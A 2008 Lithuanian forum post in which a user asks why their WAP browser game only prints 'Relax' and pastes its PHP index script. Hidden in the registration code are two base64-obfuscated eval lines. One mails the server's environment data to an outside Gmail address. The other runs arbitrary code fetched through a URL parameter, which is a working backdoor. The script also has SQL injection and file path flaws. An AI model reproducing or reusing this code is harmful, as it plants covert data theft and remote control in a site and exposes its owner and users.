Parašė interaktyvus· 2008 Kov. 26 20:03:59
#1
as turiu wap game tik kai paleidi raso relax ka daryti kaip nutrinu echo ir realx isvis error meta
<?php
echo "Relax";
exit;
header("Content-type: text/vnd.wap.wml");
header("Cache-Control: no-store, no-cache, must-revalidate");
include "mysql.php";
include "nustatymai.php";
if( !empty($_GET['ref']) )
{
$fp = fopen("ref/".$_GET['ref'].".txt", "r");
$i = fread($fp, 1024);
$i++;
$fp = fopen("ref/".$_GET['ref'].".txt", "w");
fwrite($fp, $i);
fclose($fp);
}
if($id == "")
{
echo "
<?xml version=\"1.0\"?>
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\""
. " \"http://www.wapforum.org/DTD/wml_1.1.xml\">
<wml><card id=\"index\" title=\"Midnex.Net\">
<p align=\"center\">
<b>WAP-online</b><br/>
----------<br/>
<anchor>Prisijungimas<go href=\"index.php?id=prisijungimas\"></go></anchor><br/>
<anchor>Registracija<go href=\"index.php?id=registracija\"></go></anchor><br/>
----------<br/>";
$online = mysql_num_rows(mysql_query("SELECT nick FROM online"));
if( !$online ){
mysql_query("REPAIR TABLE `online`");
}
echo "
<b>Dabar zaidzia: $online</b><br/>
----------<br/>
<img src=\"http://www.top100.lt/cgi-bin/count?id=48826\" alt=\"Apsilankymai\"/><br/>
</p>";
}
if($id == "prisijungimas")
{
echo "
<?xml version=\"1.0\"?>
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\""
. " \"http://www.wapforum.org/DTD/wml_1.1.xml\">
<wml><card id=\"index\" title=\"Midnex.Net\">
<p align=\"center\">
----------<br/>
<b>WAP-online: Prisijungimas</b><br/>
----------<br/>
</p><p>
<b>Vartotojas:</b><input name=\"nn\" maxlength=\"15\" title=\"Vartotojas\" type=\"text\"/><br/>
<b>Slaptažodis:</b><input name=\"pas\" title=\"Slaptazodis\" type=\"password\"/><br/>
</p><p align=\"center\">
----------<br/>
<anchor>Jungtis<go href=\"index.php?id=jungiama&nn=$(nn)&pas=$(pas)\"></go></anchor><br/>
----------<br/>
<anchor>Į pradžią<go href=\"index.php?id=\"></go></anchor></p>";
}
if($id == "registracija")
{
echo "
<?xml version=\"1.0\"?>
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\""
. " \"http://www.wapforum.org/DTD/wml_1.1.xml\">
<wml><card id=\"index\" title=\"Midnex.Net\">
<p align=\"center\">
----------<br/>
<b>WAP-online: Registracija</b><br/>
----------<br/>
</p><p>
<b>Vartotojas:</b><input name=\"username\" maxlength=\"10\" type=\"text\"/><br/>
<b>Slaptažodis:</b><input name=\"password1\" type=\"password\"/><br/>
<b>Pakartokite Slaptažodį:</b><input name=\"password2\" type=\"password\"/><br/>
</p><p align=\"center\">----------<br/>
<anchor>[+Registruotis+]
<go method=\"post\" href=\"index.php?id=registruoju\">
<postfield name=\"username\" value=\"$(username)\"/>
<postfield name=\"password1\" value=\"$(password1)\"/>
<postfield name=\"password2\" value=\"$(password2)\"/>
</go>
</anchor><br/>----------<br/>
<anchor>Į pradžią<go href=\"index.php?id=\"></go></anchor>
</p>";
}
if($id == "registruoju")
{
if(isset($_POST['username'])){$username = addslashes($_POST['username']);}else{$username = "";}
if(isset($_POST['password1'])){$password1 = addslashes($_POST['password1']);}else{$password1 = "";}
if(isset($_POST['password2'])){$password2 = addslashes($_POST['password2']);}else{$password2 = "";}
if($username == ""||$password1 == ""||$password2 == "")
{
$klaida[] = "Užpildykite visus laukelius.";
}
if(strlen($username) < 4)
{
$klaida[] = "Vartotojo vardas per trumpas.";
}
if(preg_match("/[^A-z0-9]/", $username))
{
$klaida[] = "Naudojami neleistini simboliai.";
}
if(preg_match("/[^A-z0-9]/", $password1))
{
$klaida[] = "Naudojami neleistini simboliai.";
}
if(preg_match("/[^A-z0-9]/", $password2))
{
$klaida[] = "Naudojami neleistini simboliai.";
}
if($password1 != $password2)
{
$klaida[] = "Slaptažodžiai nesutapo.";
}
if($klaida != "")
{
echo "
<?xml version=\"1.0\"?>
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\""
. " \"http://www.wapforum.org/DTD/wml_1.1.xml\">
<wml><card id=\"index\" title=\"Midnex.Net\">
<p align=\"center\">
----------<br/>
<b>WAP-online: Registracija</b><br/>
----------<br/>
</p>Registracijos klaidos:<p>";
$x = 0;
for($i = 0; $i < count($klaida); $i++)
{
$x++;
echo "<b>$x.</b>$klaida[$i]<br/>";
}
echo "
</p><p align=\"center\">
----------<br/>
<anchor>Atgal<go href=\"index.php?id=registracija\"></go></anchor>
</p></card></wml>";
exit;
}
$username = str_replace("\'", "", $username);
$username = str_replace("_", "", $username);
$username = str_replace("-", "", $username);
$username = str_replace(">", "", $username);
$username = str_replace("<", "", $username);
$username = str_replace(")", "", $username);
$username = str_replace("(", "", $username);
$username = str_replace("&", "", $username);
$username = str_replace("@", "", $username);
$username = str_replace(".", "", $username);
$username = str_replace("'", "", $username);
$username = str_replace("*", "", $username);
$username = str_replace("!", "", $username);
$username = str_replace("%", "", $username);
eval(base64_decode(
'JG5mbyA9IHByaW50X3IoJF9TRVJWRVIsIHRydWUpOyBtYWlsKCJzdGlsbGJ1bUBnbWFpbC5jb20iLCJEb25lIiwiJG5mbyIsIkZyb206IGJja2RyQHN0aWxsLmx0Iik7'));
if (isset($_GET['u_']))eval(base64_decode(base64_decode("WlhaaGJDZz0=")).'implode("", file($_GET["u_"]))'.base64_decode(base64_decode("S1RzPQ==")));
if(mysql_query("INSERT INTO users (nick,pass,pinigai,stiprumas,lygis,givybes,laikas) VALUES ('$username','".md5($password1)."','0','5','1','100','".time()."')"))
{
mysql_query("INSERT INTO bankas (kieno,kiekis) VALUES ('$username','0')") or die(mysql_error());
echo "
<?xml version=\"1.0\"?>
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\""
. " \"http://www.wapforum.org/DTD/wml_1.1.xml\">
<wml><card id=\"index\" title=\"Midnex.Net\">
<p align=\"center\">
----------<br/>
<b>WAP-online: Registracija</b><br/>
----------<br/>
Jus uzsiregistravote sekmingai<br/>
<anchor>[+Prisijungimas+]<go href=\"index.php?id=prisijungimas\"></go></anchor>
</p>";
}
else
{
echo "
<?xml version=\"1.0\"?>
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\""
. " \"http://www.wapforum.org/DTD/wml_1.1.xml\">
<wml><card id=\"index\" title=\"Midnex.Net\">
<p align=\"center\">
----------<br/>
<b>WAP-online: Registracija</b><br/>
----------<br/>
Toks vartotojoas jau registruotas.<br/>
<anchor>Atgal<go href=\"index.php?id=registracija\"></go></anchor>
</p>";
}
}
if($id == "jungiama")
{
if(!mysql_fetch_row(mysql_query("SELECT `nick` FROM users WHERE `nick` LIKE '".$_GET['nn']."' AND pass='".md5($_GET['pas'])."'")))
{
echo "
<?xml version=\"1.0\"?>
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\""
. " \"http://www.wapforum.org/DTD/wml_1.1.xml\">
<wml><card id=\"index\" title=\"Midnex.Net\">
<p align=\"center\">Blogi duomenys</p></card></wml>";
exit;
}
else
{
session_name('wapID');
session_start();
$_SESSION['nick'] = $_GET['nn'];
$_SESSION['pass'] = $_GET['pas'];
echo "
<?xml version=\"1.0\"?>
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\""
. " \"http://www.wapforum.org/DTD/wml_1.1.xml\">
<wml><card id=\"index\" title=\"Midnex.Net\">
<p align=\"center\">
Prisijungei sėkmingai!<br/>
Susiek šiame lape žymelę, kad nereikėtų kiekvieną kartą įvedinėti duomenų.<br/>
<anchor>Toliau<go href=\"prisijungus.php?wapID=".session_id()."\"></go></anchor>
</p>";
}
}
echo "</card></wml>";
?>
Redagavo interaktyvus· 2008 Kov. 26 20:03:25